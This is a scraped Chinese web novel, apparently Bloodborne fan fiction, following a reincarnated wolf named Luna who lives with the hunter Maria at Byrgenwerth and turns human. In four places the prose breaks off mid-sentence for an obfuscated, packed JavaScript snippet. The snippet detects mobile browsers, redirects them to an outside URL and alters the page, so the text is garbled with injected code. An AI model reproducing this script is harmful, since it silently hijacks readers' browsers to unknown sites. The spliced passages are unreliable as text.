“我建议你现在坐下来。”玛利亚念出那个猎人的名字，抵在对方喉口的刀尖没有移动分毫。 阴影中有什么东西一闪，她下意识想要跳起来，但忍住了那股冲动。左边本来想开枪的猎人维持着抬起手臂的姿势，枪口被刀刃整齐削断，落到地上发出一声轻响。 高挑的银发猎人依然静静立在原地，仿佛连呼吸的频率都没有改变。但刚才出手的人是谁，在那不容错认的杀意面前，答案显而易见。 周围的猎人露出忌惮的神色，没有再轻举妄动。 “……别告诉我是见鬼的愧疚。”拿着锯肉刀的猎人出言嘲讽，“因为那个村子没有留下一个活口，所以哪怕是头畜生，你也想养到它寿终正寝？” “你的想象力很丰富。” “不及你最近的多愁善感。” “那我们就坐下好好谈谈吧。” 压在喉咙上的刀尖，冰冷的杀意货真价实。拿着锯肉刀的猎人神情阴沉，半晌，在玛利亚的注视下缓缓坐到了旁边的椅子上。 厨房中央，血肉模糊的无头尸体横在地上。壁炉的火光拖出长长的阴影，周围散落着桌椅杯盘的碎片，场面一片狼藉。 “你瞧，这并不难。”染血的银刀离开喉管，玛利亚神情淡淡，但眼底的神色比北国山巅的积雪还要森冷，不论壁炉的火光如何照耀都无法融化分毫。 路德维希无意识松了口气，但这口气还没彻底舒出来，她就忽然难受地绷起身体，四爪抓地并且背脊开始不断抽搐。 所有人的视线都转了过来，气氛再次变得紧绷。毫无疑问，只要她展现出丝毫异化的痕迹，下一瞬那些斧头、长鞭、锯肉刀就会毫不留情地将她碾成肉泥。 胃部翻江倒海，难闻的血腥味充斥着鼻子和口腔。在所有人的注视下，她低头耸动半天—— “……呕。” 终于成功地干呕了出来。 “……” “……” 猎人们好像愣住了，寂静的厨房一时只能听见她干呕的声音。 最后是路德维希率先反应过来，从水罐里舀了点水出来给她漱口。 于是她又“哇啦哇啦”一通漱口，这么反复几次后，等嘴巴里那股难闻的味道消散得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330603|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七七八八，她才颇为感慨地长吁一声，露出一副劫后余生的表情。 “……它刚才好像叹气了。”一名猎人用非常不确定的语气开口。 出来打圆场的人是劳伦斯。刚才的混乱中，她几乎都忘了他的存在。现在看来他虽然不擅战斗，在审时度势这方面却有着出色的才能。 “各位，让我们先安葬同伴吧。” 他的衣服、双手、脸颊全部都是刚才进行手术时溅到的血。他仍维持着风度，以最恰当的语气开口：“天马上就要亮了。在人们醒来之前，我们还有不少事要做。” 首先要做的事情之一，就是清理血淋淋的厨房。不然，待会儿来工作的女佣铁定要被这屠宰现场吓得够呛。 葬礼十分简单草率，没有人开口抱怨。拜伦维斯外的墓园石碑林立，如同一小片雾中的村庄。 被玛利亚牵进熟悉的房间时，她想：来了，审判的时刻还是来了。 她只见过格曼一回，出于某种野兽的直觉，她一直对这人有些忌惮。 也许是对方锐利的目光，总让她觉得无所遁形。也许是对方身上洗不褪的血腥气比所有猎人都要浓重，让她忍不住抱有某种面对天敌的警觉。 她精神紧绷，贴在玛利亚身边，然而对方的第一句话并不是问责。 “你想要一头猎犬吗，玛利亚？” 她无意识呼吸一松。 戴着黑色宽檐帽的男人，隔着一段距离仔细地打量她。 他似乎对各种野兽都分外熟悉，不需要上手检查，便能凭借外观将她的情况评价得七七八八。 她原本以为格曼会是她留下来最大的阻力，现在看来她似乎误判了这个人对自己学生的……关怀？ “它还很年轻，精力充沛，也没有疾病。虽然猎犬的训练从幼犬时期开始为佳，现在开始也不算迟。” “我们一般不使用猎犬的原因，想必你不需要我过多赘述。面对我们要狩猎的野兽，猎犬能够派上的用场非常有限，而且猎犬极其容易受到感染，变成同样嗜血的怪物。” 格曼抬起眼帘：“若能排除这两点，我不会过多干涉你的决定。” 她无意识屏住呼吸，满怀期待地望向玛利亚的反应。 时间一分一秒过去。 “……感谢你的建议，”玛利亚不动声色地回答，“但我并不打算让它成为我的猎犬。” 她摇尾巴的动作一僵，尾巴尖慢慢垂了下去。 “……为何？”格曼有些诧异，“我还以为你已经对它产生了一定的情感。” “正是因为如此，我才不希望它成为我的猎犬。” 玛利亚道：“猎犬的工作太危险了。” 和猎人一样，那是不知何时就会死去、非常危险的职业。 玛利亚微垂眼帘，青色的瞳孔映出她傻愣愣的身影。 注视她片刻，银发的猎人好像轻轻弯了弯唇角，眼中的神色也变得柔软下来。 “所以，我觉得维持现状就好。” 7.07 拜伦维斯坐落于湖畔，银白的湖面一望无尽，常年大雾弥漫。 随着季节转变，枯黄的落叶铺满了石砖小径。她最近获得了新的特权，不再被局限于小小的一方天地，虽然没有成为猎犬，却在每天散步的过程中成为了看门犬一般的存在。 路德维希每天准时起床，准时牵她出去散步，哪怕她睡眼惺忪地待在被窝里，也会被他半拖半抱地带出门。 他要做的事情很多，每天都有人需要他帮忙，有时候是需要他清理马厩，有时候是需要他修缮桌椅书柜。论文写不出来的学生愁闷到想要跳湖时，将人从湖边拽回来也是路德维希赋予自己的责任。 原本因为她行动受限，路德维希做这些事情的时候不会带上她。现在情况不同了，路德维希开解想不开的学生时，她就在旁边蹲着，尽量不让自己的狼脸上出现百无聊赖的神情。 “……我可以摸摸它吗？” 她最近已经收到了多次类似的请求。 她转了转耳朵，不为所动。 “啊，它不太喜欢被人触碰。”路德维希露出抱歉的表情。 那名学生失望地把手放了下来。 路德维希将那名学生送回阅读室。屋内烧着壁炉，铺着花纹繁丽的地毯，空气里沉淀着陈旧纸张和崭新油墨的气味。 她动了动鼻子，忽然闻到一股香甜的气息。 是饼干。 而且还是奶油味的小饼干。 她警觉地转过头，和坐在沙发上的学生对上视线。那名学生有些慌张——阅读室不许带食物——面对她炯炯有神的目光，对方心虚地从口袋里掏出用手帕包着的点心，挣扎着开口解释： “我不是有意违反规……” 话还未说完，她以迅雷不及掩耳之势伸出头，然后嘴巴一张，像铲土机一样啊呜一声，干脆利落地没收了那名学生带来的甜点。 她已经有多久没有吃到有甜味的东西了？ 她津津有味地咀嚼着小饼干。路德维希回过神，突然问那名学生：“这个饼干里有肉豆蔻吗？” 对方愣愣地点了下头。 路德维希面色一变，上手就要掰开她的嘴。 她死死闭住嘴巴。 黑发青年肉眼可见地焦急起来。他抬手猛击她的背部，试图让她将吃下去的小饼干吐出来，差点一击就让她直接看见天国。 路德维希，真是何等可怕的对手。情急之下，他居然将颇具雏形的海姆立克急救法都使出来了。 不过很可惜，那些招数对她都没用。 她咕地一声，将小饼干吞咽下去，宣告这次拉锯战的胜利。 黑发青年跌坐到旁边的地毯上，用一副「完蛋了」的表情望着她。 “——恕我多嘴问一句，肉豆蔻有什么不对吗？”围观全程的学生颤巍巍地开口。 “……它不能吃肉豆蔻，那东西对犬类有毒。”路德维希用怀疑的目光看着她继续活蹦乱跳，甚至精神气比之前还足。 考虑到路德维希其实一直对她不错，她差点被猎人们围杀时他也为她说过好话，她停止蹦跶，走到路德维希身边，用脑袋顶了他一下。 黑发青年表情茫然，似乎一部分思绪还陷在「要怎么和玛利亚交代」这件事上。 她啊呜了一声。 路德维希迟疑着抬起手。她纡尊降贵地让他摸了摸她的脑袋。 但这件事好像只是让黑发青年坚信了她时日不多，连行为都变得反常起来。 活马当死马医，他将最后的希望寄托在了劳伦斯身上。 她不知道路德维希对劳伦斯的信任从何而来，但有这毛病的绝对不止他一人。温文儒雅、风度翩翩的年轻教授在拜伦维斯极受欢迎，只要是他讲的课，阶梯教室总是座无虚席。 “真是不可思议。”下课后，学生陆陆续续离开教室。劳伦斯靠在讲台旁，饶有兴趣地听路德维希解释事情的来龙去脉。 “它的消化系统估计有别于普通的犬科动物，不然，它现在也不会好端端地站在这里。” 劳伦斯拍了拍路德维希的背：“放轻松，我有一种直觉，它肯定会没事的。” 黑发的青年放松下来。 “感谢你，劳伦斯先生。”路德维希似乎在组织措辞，“我不请自来，希望没有打扰你的工作。” “当然不会，路德维希，我很高兴能帮上忙。你知道，这个教室的大门永远为你敞开，你随时都可以来听课。” “但是，我不是拜伦维斯的学生。” “知识不应拣选听众。只要有求学之心，我欢迎任何人加入我的课堂。” 能够进入教学楼后，她总算知道劳伦斯身上那股化学制品和死人的味道从何而来。他主要教授历史，但对人体的了解在整个拜伦维斯也鲜少有人能出其左右。 几天后，路德维希带着她进入阶梯教室，正好遇上劳伦斯做解剖演示。 教室穹顶的天光落下来，照亮了陈列尸体的解剖台。周围的学生屏息静气，目不转睛地望着劳伦斯用解剖刀切开那具尸体的大腿。他一层一层分开皮肤、脂肪、筋膜、肌肉，精确凝练的动作犹如在雕刻艺术品，落下的每一笔都经过缜密的计算。 静置的人体变成了盛开的花，肌肉层被分离干净后，露出猩红的血管丛和神经网，妖娆瑰丽似某种花蕊。 解剖的演示由浅至深，由外向内，一层一层揭开人体的奥秘。 劳伦斯一边切开尸体，一边用镊子将各个组织和部位展示给周围的学生。 “了解人体的奥秘，即是对抗死亡和无知。”他的声音在血腥味弥漫的阶梯教室里回荡。“人类虽生而有限，却从未停止探索进化的道路。” “我们要向解剖台上的这位先生献上敬意——他为人类的进化付出了高贵的牺牲。” 那天之后，路德维希开始经常旁听劳伦斯的课。 苏美鲁是已经覆灭的古代文明，曾经只存在于各种传说和语言近乎失传的古卷中。但如今拜伦维斯在考古时有了巨大突破，发现了位于地底深处的苏美鲁文明遗迹。劳伦斯坚信这是人类进化史上重要的一页，是神明赐予人类的一次契机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336481|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而一切的关键，在于血液。 拜伦维斯在苏美鲁遗迹中发现的，时隔漫长岁月依然保持鲜活、不曾干涸凝结的血。 那是生命的奇迹，神明的馈赠。研究已经在紧锣密鼓地进行，只要成果推出，便能彻底改写人类的命运。 他们正处于人类新文明的诞生之初，多么奇妙，多么不可思议。 劳伦斯的演讲总是座无虚席。 当路德维希也跟着听得入神，和在座的所有人一起畅想人类的新纪元时，她悄无声息地溜了出去。 她几天前发现了拜伦维斯的植物园。古典的长方形庭院被圆柱环绕，哪怕在阴冷的天气里也开满了植物鲜花。 最近好像要下雪了，天空被铅灰的云层填满。那植物园中的花草成了天地间唯一的亮色，其中有一小片“向日葵”特别显眼，沉甸甸的花盘平日里垂着脑袋，只有到夜晚降临、月亮升起时，它们才会抬头挺胸，舒展花叶，如同汲取月光养分的精灵，柔软的花瓣散发出莹莹光辉。 从路德维希和其他猎人的交谈中，她得知玛利亚可能会在今天回来。她偷偷从庭院里折了一枝花，长长的花梗几乎要垂到地上，一路小跑来到拜伦维斯的大门前。 她将那枝向月葵——嗯，她决定就叫这个名字了——衔在口中，像静止的雕像一样，蹲在台阶上一动不动地望着玛利亚会出现的方向。 等在门前台阶上的并非她一人。今天拜伦维斯有学生的未婚妻到访。那抹窈窕的身影离开马车，等候多时的人飞奔着跑下台阶。跟在主人身边的侍女叹了口气，移开视线假装没有看到紧紧相拥在一起的身影。 天空开始飘起雪花，纷纷扬扬的雪片柔软无声，如同某种默片。 那对爱侣依偎在一起，走进附近的石砖建筑，喁喁细语渐渐被落雪声淹没。 天色渐晚，周围的世界浸入雾蓝的暮色。 雪片飘到她的脑袋上时，她没有抖动耳朵。冰凉的雪点降落到她的鼻尖上时，她亦没有转开视线。 道路的尽头终于出现了一抹高挑的身影。黑色的三角帽缀着羽毛，扑簌簌的雪片沿着黑色的斗篷滑落。那人微微抬起脸颊，看向枯枝间墨蓝的天空，呼出的气息落入寒冷的空气，化作一团柔软的白雾。 在她身后，拜伦维斯的人们做着成神的美梦。 在她身后，人们幻想着登上更高的阶梯。 雪花纷纷扬扬，越下越大，仿佛要淹没周围的世界，将一切化作纯净无垢的白色。 ——她想成为人类。 这个念头出现得毫无预兆，如同庭中错季盛开的花。 “露娜——” 呼唤她的声音，含着笑意蹲下来的身影。 身体自行动了起来。她衔着花奔下台阶，朝着那个身影飞奔而去。 身体好热，胸膛里有什么东西仿佛要满溢而出，呼呼的风声刮过耳畔。在那个瞬间，她心想： 「我要成为人类。」 她想像人类一样彼此相拥。 像人类一样，扑入她的怀中。 8.08 随着湖面彻底结冰，拜伦维斯正式迎来了漫长的严冬。 寒风裹挟着雪片，在窗外整日呼啸。天空变成了怒涛翻涌的灰色大海，吞噬了本就惨淡泛白的太阳。 白昼阴沉灰蒙，黑夜寒冷漫长。这种天气，就算是路德维希也不能带她出门遛弯。于是她每天都趴在壁炉前，把自己晒得暖和蓬松，然后再去找玛利亚贴贴蹭蹭求摸摸。 是的，由于古墓暂停挖掘进度，玛利亚和其他猎人最近这段时间都没出任务，待在房间里的时间变多了。 这对她来说本是一个天大的好消息，但不知是不是季节转变的缘故，她发现自己最近也变得古怪了起来。 玛利亚坐在壁炉旁看书时，她很想轻轻咬一咬她的手腕。 玛利亚伸出手来摸摸她的脑袋时，她发现自己很想轻咬她的脸颊……不，是把她整张脸都含进嘴巴里，然后“啊呜啊呜”地用含糊不清的话语表达自己的爱意。① 她想轻轻啃咬那月光般美丽的银色长发，想将鼻尖贴到猎人苍白的颈窝里，细嗅她皮肤温热的气息。 “——啊呜。” 她不知道自己怎么了，并为此苦恼不已。 玛利亚检查枪支，保养武器时，她围在工作台边转圈，热切盼望猎人能将注意力分给她一点。 甚至玛利亚靠在床头休息时，她都要巴巴地将脑袋凑过去，可怜兮兮地抬目望着她，如同植物渴望水源一般殷切。 这么一来二去，就算玛利亚再迟钝，也察觉出几分不对劲来。 问路德维希，路德维希怀疑她之前吃的奶油小饼干，终究还是让她吃坏了肚子。 问劳伦斯，劳伦斯若有所思，说她可能只是在屋子里关得太久，浑身的精力无处发泄。 问格曼……格曼让玛利亚保持警惕。 养得再熟，野兽终究还是野兽。 她不想承认，但她觉得格曼的意见到目前为止好像最为中肯。 当然，她可以用自己的灵魂发誓，她绝不会伤害玛利亚。哪怕她满嘴尖牙，爪子锋利，在旁人看来毫无疑问是危险的野兽，银发的猎人阖眼休息时，她只会将自己在壁炉边晒得暖呼呼的，然后快乐地蹭过去依偎在猎人腿边。 她最大的问题是，她最近好像已经不太满足于此。 无法被满足的需求变成了一种生理上的饥饿。她最近时不时就啃啃桌腿，咬咬床脚。玛利亚的工作台和经常坐着看书的那张椅子是不能动的，于是她只能将注意力转到这些无关紧要的家具上—— 还有花瓶里的那束花。 她为玛利亚衔来的“向月葵”，她后来得知学名为流明花。玛利亚似乎很喜欢这份礼物，特意将那枝花插到了房间的花瓶里。 花瓶里的花如今早已枯萎，白色的花瓣似片片落雪，散落在桌面上。 她一开始只是偷吃几瓣，发现没什么副作用后，就咔哧咔哧把整朵花都给吞了。 老实说，流明花的味道很淡，但因为口感新奇，所以整体而言还算不错。 她只是想填饱肚子里的空腹感。 她状态不对，路德维希开始带她在室内遛弯。拜伦维斯的建筑物庄重典雅，穹顶、高窗、回廊，内部结构错综复杂。其中图书馆明显倾注最多心血，棕色的厚木书架从地板高及屋顶，偌大的空间安静得能听见时间走动的声音。 但在这历史悠久的建筑里，有些地方对她来说是禁足的，劳伦斯等人进行研究的地方是其一，存放古墓文物的储藏室则是其二。这些房间只有少数人被允许进入。 倒不是她对禁忌多么感兴趣，只是玛利亚也是少数能进入这些房间的人之一。 被风雪关在室内的这些天，尽管完全没有活动身体的机会，玛利亚的精神并没有因此受到影响，因为有其他事情能够让她保持兴趣，并且为此沉迷。 那就是拜伦维斯进行的研究。 挖掘进度停止，不代表研究进度也会一并暂停。 “让我们一起为人类最卓绝的发现举杯。”挂着油画的房间内，劳伦斯含笑站在燃烧的壁炉前，杯里的酒液色泽如血。 “——愿诸神垂青，赐予我们他们的智慧。” 光线昏暗的房间，家具鎏着金边，烛台垫着蕾丝布。高窗被厚重的天鹅绒窗帘遮掩，壁炉噼啪燃烧的声音盖去了外界呼啸的风雪。时间是深夜，以劳伦斯为首的几人在周围或坐或立，她靠在玛利亚所在的沙发旁，看着众人齐齐举杯。 葡萄酒的气息弥漫开来，那味道醇厚馥郁，甜美迷人。心情极佳的劳伦斯很快面颊就熏上一丝薄红。 靠坐在不远处的棕发男人，眼睑下挂着淡淡的青黑，皮肤透出一种足不出户的苍白。他和劳伦斯似乎是同届，以朋友之间才会有的口吻毫不留情地嘲笑：“你如今这般醉态，莫非还想在梦中与诸神对话不成？” “……哦，米克拉什，若能在梦中与诸神对话，那我多喝几杯又何妨。”劳伦斯笑着揽住男人的肩膀和他碰了碰酒杯。“想必你也一定和我意见相同。” 相较之下，猎人们的表现要内敛克制得多。当然，受邀的猎人也只有格曼、玛利亚和路德维希。 玛利亚坐在壁炉旁，只在最初喝了一口杯中的葡萄酒。其余时间她不是在轻轻转动酒杯，望着杯中影若有所思，就是在观察其他人的行为。 尽管开口的时间不多，她看得出来，猎人们和在场的拜伦维斯学者相处融洽。只是相较于主动引导聊天的话题，猎人们还是更习惯做倾听者。 也许是职业所致，不管身处怎样的环境，猎人们都时刻关注着周围的情况。 因此，异样的感觉突然涌上来时，她拼命忍耐，不想让人看出异常。 体内的血液好像在某一瞬变成了流动的火，那股火烧般的感觉从心脏肺腑迅速扩散到身体四肢。她浑身发烫，头脑发昏，视野也逐渐被黑斑侵蚀。 心脏在胸腔里急速跳动，她口干舌燥，肺部的供氧跟不上来，她急促喘气，终于忍不住俯身在地，剧烈颤抖起来。 “……露娜？！” 玛利亚的声音好像从很远的地方传来。她一人置身于被烈火炙烤的地狱里，身体不受控制地剧烈抽动。 皮肤抽搐的声音，骨头咯吱作响的声音。 从很远的地方，她好像还听见了酒杯落到地上时迸裂四溅的碎响。 她短暂地失去了时间的概念，对现实的感知也变得无比模糊。 就在她终于忍不住要啜泣出声时，那股可怕的烈火突然小了下去。仿佛要融化她骨头的高温变得能够忍受，她的身体也渐渐停止了颤抖。 “哦，诸神啊……” 那些模糊而遥远的声音再次变得清晰起来。 周围不知何时变得落针可闻，壁炉依然在噼啪燃烧，但没有人出声。 她恍惚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349284|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着爬起来时，感到有什么东西不太对劲。手掌下地毯的触感变得比之前粗糙许多，还有空气里的凉意……是的，凉意。 她忽然感到了寒冷，无意识瑟缩了一下。 她抬起头，路德维希突兀地别开了视线。她还没反应过来，视野骤然一暗，染着玛利亚气息的斗篷落下来，从头到脚将她遮得严严实实。 银发的猎人将她抱在怀里，背对众人，挡去了他们的视线。 “都出去。”玛利亚声音平稳，透着一丝凉意。 她靠在玛利亚怀里，能闻到她身上那股雪松般凛然的气息。裸露的肌肤贴着猎人的皮质大衣，冰凉柔软的奇怪触感让她无意识颤了一下。 “请移步，先生们。” 玛利亚语气冷硬。有些人的脚步声离开得不情不愿。在那之后，房门终于被重新关上，寂静再次笼罩下来。 她缩在玛利亚的怀里没有动。她已经大概意识到发生了什么，毕竟，她的手——人类模样的手，此刻正紧紧抓着玛利亚的衣服。 她心想，不要开口。 千万不要开口。 “……露娜。” 猎人戴着皮革手套的手覆上她的手背。她就像一下被卸去所有力气似的，安静片刻后任对方将她的手拿了下来。 她就像原本挂在树上的树袋熊，突然不得不和树干分离。她裹紧了身上的斗篷，试图汲取挽留那布料上属于猎人的体温和气息。 她始终低着头，不敢看玛利亚眼中此刻的神色。 奇怪的热意涌上眼眶，她的身体变得好奇怪，情绪也跟着一起波动起来。 “露娜。”玛利亚特意放缓语气，再次轻轻喊出她的名字。 她裹着斗篷，慢慢抬起头。 有什么湿漉漉的东西沿着脸颊滚落下来，银发的猎人明显怔了一下。 ——她想变成人类，但绝对不是在这种场合，以这种方式。 玛利亚回过神，似乎想说些什么，似乎想要抬手拂去她的眼泪。 迟疑片刻，猎人将抬起的手放了下来。 “别怕。” 玛利亚语气柔和：“没有人会伤害你。” “你是露娜，对吗？” “……”她抬起眼帘，注视银发的猎人半晌，然后轻轻点了下头。 “你先待在这里，我保证不会有别人进入这个房间。”玛利亚问她：“你能做到这点吗？在我回来前，待在这里别动。” 于是她又点了下头。 “好姑娘。” 玛利亚起身时，她下意识伸出手，但指尖只是堪堪碰到了猎人的衣摆，她就重新将手收了回来。 她裹着玛利亚的斗篷，一动不动地坐在壁炉边，看着银发的猎人打开门走了出去，直到背影消失在门后都没有回头。 房间外，烛光驱散了走廊里的黑暗。劳伦斯等人候在另一边的房间里。 玛利亚走进去的那一刻，所有人都看了过来。她的老师压低帽檐，神色难辨地站在角落里。路德维希有些神不守舍，但并没有人打算寻求他的想法。 劳伦斯看起来已经完全酒醒了。他的兴致比之前更加高昂，开口就想要发表赞叹。 米克拉什看出他的想法，嗤笑一声，率先对银发的猎人说： “恭喜你，玛利亚。” 他耸耸肩，摊开手：“你运气不错，发现了难得的好东西。” 9.09 地毯上散落着酒杯的碎片，剔透如冰霜结成的花瓣。暗红的酒液模糊了地毯的花纹，干涸后留下血迹般蜿蜒的污痕。 她裹着玛利亚的斗篷坐在壁炉旁，不知道时间过去了多久。明明其他人都已经离去，周围却仿佛残留着他们的目光。不管是长桌、高背椅、还是挂在墙上的油画，那些东西都生出眼睛，用看待异物的眼神注视着自己。 作为一头狼时，她明明从未觉得自己赤身露体。 无法言语的情绪涌上心头，她的头脑一片混乱，喉咙又干又涩，胸膛里仿佛有一团火在燃烧。 玛利亚的身影重新回到房间里时，她差点以为那是自己产生的幻觉。 她踉跄着站起身，然后后知后觉地回过神——自己现在能用两条腿直立行走了。 “……小心。”银发的猎人突然伸出手，扶住了她的手臂。 一手攥着斗篷，她侧过身。地毯上散落着锋利的酒杯碎片，刚才差点就被她直接踩了上去。 她无意识微微蜷缩了一下脚趾，然后小心翼翼地避开那些玻璃碎片，在壁炉前饶了一个小小的圈，来到玛利亚身边。 她的视野比作为狼时拔高了不少，但身高似乎依然只及玛利亚的肩膀。 银发的猎人松开手。 “我们先回房间——我的房间。”玛利亚声音微顿，继续道：“我说的话，你都能听懂吗？” 她点了下头，然后担心自己表达得不够明显，又更加用力地点了点头。 “很好。” 玛利亚耐心道：“跟我来。” 她不知道玛利亚和其他人说了些什么，达成了哪些共识，又做出了哪些决定。她只知道玛利亚的语气相较离开之前没有变化，依然柔和、平稳——而且听不出太多波澜。 走廊里烛光昏暗，冰凉的木地板被岁月打磨得光滑平整。银发的猎人带路走在前面，她亦步亦趋跟在后面。因为对方的斗篷此时正裹在自己身上，她只能抬手拉住那黑色风衣的一角，像个小尾巴一样缀在猎人身后。 黑色绣金色暗纹的长风衣不知道用什么布料制成，摸上去保暖而舒适，但又不会显得笨重，穿在猎人身上挺括利落极了，甚至还有几分优雅，防风防水的性能估计也非常优秀。 猎人走路时几乎不会发出声音，安静的走廊于是只能听见她啪嗒啪嗒的脚步声。 两人回到玛利亚位于二楼的房间。被熟悉的景物和气味包围，她不自觉微微放松，就像回到窝里的野兽一样，本能地感到了亲切和舒适。 “要不要简单清洗一下？”在玛利亚开口前，她都没注意到自己先前出了一身汗，经她这么一提醒，才发现身体黏糊糊的，不自在得很。 澡盆里的水——毫无意外——是冷的。 壁炉噼啪燃烧，在周围投下摇曳变化的光影。她乖乖坐在澡盆里，玛利亚让她抬手，她就抬手，玛利亚让她转身，她就乖乖地转过身。但像羊毛一样……不对，像狼毛一样柔软厚密的长鬈发，必须要拨到一边，玛利亚才能用布巾给她擦拭后颈和背脊。 她趴在澡盆边沿，庆幸自己背对银发的猎人。脸颊的温度怎么都降不下来，一定是因为壁炉就在旁边的缘故。 热浪化开寒冷的空气，酥酥麻麻的感觉沿着背脊升腾而起。她脸颊发烫，头皮发麻，明明布巾是普通的布巾，质感一点也不柔软，甚至还有点粗糙，她却忍不住微微战栗，要非常努力才不会让人瞧出端倪。 她低下头，将额头抵在手背上。 “……是水太凉了吗？” 她摇了摇头。 “热水澡需要提前很多时间让人准备。”玛利亚似乎认为她只是在逞强。“怕冷的话，马上就好了。” 玛利亚让她转过身，她有些惊慌，下意识往水里沉了沉，但那点水位根本不足以让人隐藏。 ……手。 她慌张地想：手要到前面去了。 她畏惧猎人的手。 ——因为渴望，所以尤其畏惧。 有些事情不说出来的话，她一定会死，一定会现在就因为无法顺畅呼吸而心肺停止。 在猎人有更进一步的动作之前，她深吸一口气，侧过身。 湿漉漉的长鬈发贴着脸颊和肩背，沿着身体的曲线没入过腰的水中。 她的脸颊被热意熏得微红，眼睛被炉火照得湿润发亮。 “……玛利亚。” 太久没有使用人类的语言，她感到自己的舌头就像生锈许久没有上油的工具一般，声音也显得磕磕巴巴。 “玛利亚……”她说，“讨厌我吗？” 银发的猎人好像怔住了。 紧随而至的寂静似乎持续了很久，也可能只维持了几秒不到。 她感到自己的心脏好像都要停跳了。银发的猎人终于回过神，然后说： “当然不。” 心里的石头重重落地，她如同获得赦免的死刑犯，整个人都肉眼可见地放松下来。 她靠过去，扒着浴盆的边缘问：“真的……不讨厌？” “不讨厌。” “就算我……能变人？” “就算你能变人。” 话音稍顿，玛利亚问她：“以前的事情你还有印象吗？” 如果身后还有尾巴，此时她的尾巴已经欢快地摇了起来。 “不太记得了。”她说，“狼之前的事……都没什么了。” 她说的是实话。在这个世界待得越久，她对前世的记忆就越淡。这也许是某种生存机制——毕竟，人如果一直挂念着上辈子的事，这辈子也会过得魂不守舍。 闻言，玛利亚道：“你以前是人类？” 她意识到自己泄露了重要的信息，在撒谎和不撒谎之间犹豫了一下，但也只是犹豫了一下而已。 她点了下头，然后用自己应该被夸奖的语气说：“你以后还会给我梳毛吗？” 玛利亚微垂眼帘。 ——她的睫毛真好看，又细又密，像银白的霜花。 青蓝色的眼瞳也好看，像这世上最美丽夺目的宝石。 湿漉漉的发梢还在滴水，她凑过去，用非常郑重的语气说：“沙沙的……很舒服。” “……如果你喜欢的话。” “我喜欢。”她回答得非常坚定。 自从得到玛利亚“不讨厌”的回答后，她整只狼，不，整个人都重新自信了起来。 “所以，露娜还是露娜？”她向银发的猎人寻求最后的确据。 玛利亚注视她片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382624|167218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻，柔和的眼神不似作假。 “露娜还是露娜。” 她满意了。她不闹了。 别人的想法和目光什么的都无所谓，只要玛利亚不会把她当成怪物就行。 洗完澡后，玛利亚给她拿了一件宽松的亚麻布上衣。上衣的下摆放下来，长度刚好到她的大腿中部，作为睡裙来说刚刚好。 那件衣服散发着玛利亚的气味，是她最喜欢的味道。她无意识脸颊微红，好在玛利亚并没有看出什么。 玛利亚在床边的椅子上坐了下来，并没有和她一起躺下休息。 “不睡觉吗？”她问。 “你先睡，我还有些事。”银发的猎人这么说着，打开了那本皮革包裹的厚厚手账。 壁炉的火光勾勒出猎人优雅挺拔的侧影，为苍□□致的容颜增添了些许暖色。她注视着那道身影，视野渐渐模糊，后来不知何时就睡了过去。 醒来时，灰白的阳光透过拉开到一半的窗帘落进来。壁炉的火光只剩余烬，空气里弥漫着未散的暖意。 玛利亚穿戴整齐站在床边，问她：“要不要起来吃点东西？” 女佣将早餐和煤炭一起送了上来。壁炉里垂死的火光重新焕发生机。她坐到窗边，桌子的中央摆了一篮新鲜出炉的黑麦面包，旁边配有黄油、乳酪、和火腿。 玛利亚掰开黑麦面包的动作很慢，仿佛在给她做示范。于是，她有样学样地拿起一块面包掰开，用银色的餐刀抹上黄油，配着乳酪和火腿吃了起来。 吃完面包，玛利亚拿起银勺，舀起燕麦粥。 她跟着拿起勺子，开始食用燕麦粥。 燕麦粥见底后，玛利亚端起旁边的茶杯。 她也端起手边的杯子，然后发现她杯子里的是加了糖蜜的热牛奶。 “……” 好吧。 用完早餐，冬日的光线没有变得更加明亮。 窗外，天空灰白无垠，几只乌鸦落在光秃秃的树杈上。远方的湖泊被大雪覆盖，和陆地的界限早已变得模糊不清。 